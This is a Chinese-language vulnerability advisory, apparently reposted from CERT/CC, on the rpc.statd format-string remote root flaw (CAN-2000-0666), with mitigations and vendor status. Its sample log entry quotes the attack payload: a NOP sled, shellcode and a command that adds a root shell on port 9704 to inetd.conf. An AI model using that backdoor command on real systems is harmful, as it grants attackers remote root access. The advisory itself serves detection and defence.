涉及程序:
rpc.statd
描述:
rpc.statd 远程溢出漏洞
详细:
CERT/CC 收到一个 rpc.statd 程序的安全漏洞报告。这个程序在部分 LINUX 中通常是默认安装的。
rcp.statd 守护进程存在一个安全漏洞。通过特殊格式的字符串输入到 syslog() 函数,可能允许远程攻击者覆盖 rpc.statd 堆栈中的某个返回地址,远程地执行任意命令。由于 rpc.statd 通常是以 root 身份运行,因此溢出代码会以 root 身份执行。在系统出现以下记录信息时说明 rcp.statd 这个漏洞正被使用 :
Aug XX 17:13:08 victim rpc.statd[410]: SM_MON request for hostname
containing '/': ^D^D^E^E^F ^F^G^G08049f10 bffff754 000028f8 4d5f4d53
72204e4f 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63
696e6961 2720676e 203a272f
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000bffff7
0400000000000000000000000000000000000000000000000bffff7050000bffff70600000000000
网管bitscn_com 00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000bffff707<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>K^<89>v<83> <8D>^(
<83> <89>^<83> <8D>^.<83> <83> <83>#<89>^
1<83>
<88>F'<88>F*<83> <88>F<89>F+,
<89><8D>N<8D>V<80>1<89>@<80>/bin
/sh -c echo 9704 stream tcp
网管联盟bitsCN@com nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd
解决方案:
升级你的 rpc.statd 版本
关闭 rpc.statd 服务
使用防火墙过滤不需要的端口
附加信息:
厂商信息
Berkeley Software Design, Inc. (BSDI)
不受此漏洞影响
Caldera, Inc.
不受此漏洞影响
Compaq
目前,Compaq 正在调查对 Compaq 的 rpc.statd 服务的潜在影响。初步的测试表明 Compaq 不受此漏洞影响。
Debian
http://www.debian.org/security/2000/20000719a
FreeBSD
不受此漏洞影响
NetBSD
NetBSD 1.4.x 和 NetBSD 1.5 不受此漏洞影响;rpc.statd 使用 syslog() 函数时将格式化参数当成一个固定字符串进行处理。
OpenBSD
不受此漏洞影响
RedHat
http://www.redhat.com/support/errata/RHSA-2000-043-03.html
Silicon Graphics, Inc.
不受此漏洞影响
更多的信息可在访问以下 URL:
网管bitscn_com * http://www.cnns.net/article/db/502.htm
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0666
* http://www.securityfocus.com/bid/1480
CERT/CC 联系信息
Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
U.S.A.
相关站点:
http://www.cert.org/